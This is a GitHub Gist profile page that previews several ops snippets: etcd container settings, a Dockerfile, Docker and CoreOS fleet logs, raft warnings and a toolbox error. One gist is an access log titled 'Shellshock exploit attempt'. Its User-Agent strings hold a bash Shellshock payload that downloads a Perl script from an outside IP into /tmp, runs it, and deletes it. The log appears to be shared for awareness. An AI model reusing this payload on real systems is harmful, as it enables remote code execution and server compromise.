Skip to content

Instantly share code, notes, and snippets.

View andyshinn's full-sized avatar
🖥️
don't put computers in your mouth

Andy Shinn andyshinn

🖥️
don't put computers in your mouth
View GitHub Profile

Running etcd in a container with:

"Env": [
            "ETCD_NAME=mgetcd",
            "ETCD_VERBOSE=True",
            "ETCD_ADDR=0.0.0.0:4001",
            "ETCD_DATA_DIR=/etcddata"
],
docker run --rm -it -e 'ETCD_DATA_DIR=' polleverywhere/etcd
[etcd] Nov 6 14:02:25.896 WARNING | Using the directory 799afb449cd8.etcd as the etcd curation directory because a directory was not specified.
[etcd] Nov 6 14:02:25.896 INFO | 799afb449cd8 is starting a new cluster
[etcd] Nov 6 14:02:25.899 INFO | etcd server [name 799afb449cd8, listen on :4001, advertised url http://127.0.0.1:4001]
[etcd] Nov 6 14:02:25.899 INFO | peer server [name 799afb449cd8, listen on :7001, advertised url http://127.0.0.1:7001]
[etcd] Nov 6 14:02:25.899 INFO | 799afb449cd8 starting in peer mode
[etcd] Nov 6 14:02:25.899 INFO | 799afb449cd8: state changed from 'initialized' to 'follower'.
[etcd] Nov 6 14:02:25.899 INFO | 799afb449cd8: state changed from 'follower' to 'leader'.
[etcd] Nov 6 14:02:25.899 INFO | 799afb449cd8: leader changed from '' to '799afb449cd8'.
FROM progrium/busybox
ENV ETCD_VERSION v0.4.6
ENV ETCD_DATA_DIR /etcddata
RUN opkg-install wget \
&& wget --no-check-certificate -qO etcd.tar.gz https://github.com/coreos/etcd/releases/download/$ETCD_VERSION/etcd-$ETCD_VERSION-linux-amd64.tar.gz \
&& gunzip -c etcd.tar.gz | tar -x -f - \
&& mv /etcd-$ETCD_VERSION-linux-amd64/etcd /etcd-$ETCD_VERSION-linux-amd64/etcdctl / \
&& rm -rf /etcd-$ETCD_VERSION-linux-amd64 \
$ toolbox
Pulling repository fedora
7d3f07f8de5f: Download complete
511136ea3c5a: Download complete
782cf93a8f16: Download complete
2014/10/27 16:48:48 Error response from daemon: Failed to create btrfs snapshot: no space left on device
2014/10/27 16:48:48 Error: No such container: core-fedora-latest
tar: This does not look like a tar archive
tar: Exiting with failure status due to previous errors
Error response from daemon: No such container: core-fedora-latest
ubuntu:14.04:
REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
deis/router git-d83aac4 2a29b50312aa 18 hours ago 259.2 MB
deis/binary-router latest 3f7b04a1c29b 18 hours ago 383.8 MB
ubuntu-debootstrap:14.04
REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE
deis/router git-d83aac4 be11e4202cbd 18 hours ago 144.8 MB
2014/09/30 23:53:51 [WARN] raft: Failed to contact 10.0.0.57:8300 in 26m12.757034341s
2014/09/30 23:53:51 [WARN] raft: Failed to contact 10.0.0.57:8300 in 26m13.190903627s
2014/09/30 23:53:52 [WARN] raft: Failed to contact 10.0.0.57:8300 in 26m13.652211466s
2014/09/30 23:53:52 [WARN] raft: Failed to contact 10.0.0.57:8300 in 26m14.055760299s
2014/09/30 23:53:53 [WARN] raft: Failed to contact 10.0.0.57:8300 in 26m14.549649279s
2014/09/30 23:53:53 [WARN] raft: Failed to contact 10.0.0.57:8300 in 26m15.01292142s
2014/09/30 23:53:54 [WARN] raft: Failed to contact 10.0.0.57:8300 in 26m15.502780128s
Sep 26 02:07:33 ip-172-16-96-127 fleet[5968]: I0926 02:07:33.087830 05968 dumb_reconciler.go:154] EngineReconciler completed task: {Type: AttemptScheduleJob, Job: firehose-router@04.service, Reason: "target state launched and Job not scheduled"}
Sep 26 02:07:33 ip-172-16-96-127 fleet[5968]: I0926 02:07:33.088467 05968 dumb_reconciler.go:154] EngineReconciler completed task: {Type: AttemptScheduleJob, Job: firehose-router@05.service, Reason: "target state launched and Job not scheduled"}
Sep 26 02:07:35 ip-172-16-96-127 fleet[5968]: I0926 02:07:35.088937 05968 dumb_reconciler.go:154] EngineReconciler completed task: {Type: AttemptScheduleJob, Job: firehose-router@04.service, Reason: "target state launched and Job not scheduled"}
Sep 26 02:07:35 ip-172-16-96-127 fleet[5968]: I0926 02:07:35.089601 05968 dumb_reconciler.go:154] EngineReconciler completed task: {Type: AttemptScheduleJob, Job: firehose-router@05.service, Reason: "target state launched and Job not scheduled"}
Sep 26 02:07:37 ip-172-16-96-127 fleet[5
@andyshinn
andyshinn / access.log
Created September 25, 2014 20:49
Shellshock exploit attempt
109.202.102.224 - - [25/Sep/2014:16:54:32 +0000] "GET / HTTP/1.0" 200 49576 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22"
109.202.102.224 - - [25/Sep/2014:16:54:36 +0000] "GET / HTTP/1.0" 200 49576 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22"
109.202.102.224 - - [25/Sep/2014:16:54:51 +0000] "GET / HTTP/1.0" 200 49431 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22"
core@ip-172-16-96-128 ~ $ sudo systemctl status etcd
● etcd.service - etcd
Loaded: loaded (/usr/lib64/systemd/system/etcd.service; disabled)
Drop-In: /run/systemd/system/etcd.service.d
└─10-oem.conf, 20-cloudinit.conf
Active: active (running) since Thu 2014-08-28 23:05:56 UTC; 17h ago
Main PID: 601 (etcd)
CGroup: /system.slice/etcd.service
└─601 /usr/bin/etcd
-- Reboot --
Aug 28 23:05:56 ip-172-16-96-128 systemd[1]: Starting fleet...
Aug 28 23:05:56 ip-172-16-96-128 systemd[1]: Started fleet.
Aug 28 23:05:56 ip-172-16-96-128 fleet[603]: I0828 23:05:56.270693 00603 fleet.go:148] No provided or default config file found - proceeding without
Aug 28 23:05:56 ip-172-16-96-128 fleet[603]: I0828 23:05:56.274371 00603 server.go:137] Establishing etcd connectivity
Aug 28 23:05:56 ip-172-16-96-128 fleet[603]: I0828 23:05:56.275269 00603 client.go:278] Failed getting response from http://localhost:4001/: dial tcp 127.0.0.1:4001: con
Aug 28 23:05:56 ip-172-16-96-128 fleet[603]: E0828 23:05:56.275653 00603 client.go:200] Unable to get result for {Update /_coreos.com/fleet/machines/f33ec9072bbf47ac8624
Aug 28 23:05:56 ip-172-16-96-128 fleet[603]: I0828 23:05:56.376435 00603 client.go:278] Failed getting response from http://localhost:4001/: dial tcp 127.0.0.1:4001: con
Aug 28 23:05:56 ip-172-16-96-128 fleet[603]: E0828 23:05:56.376488 00603 client.go:200] Unable to get result f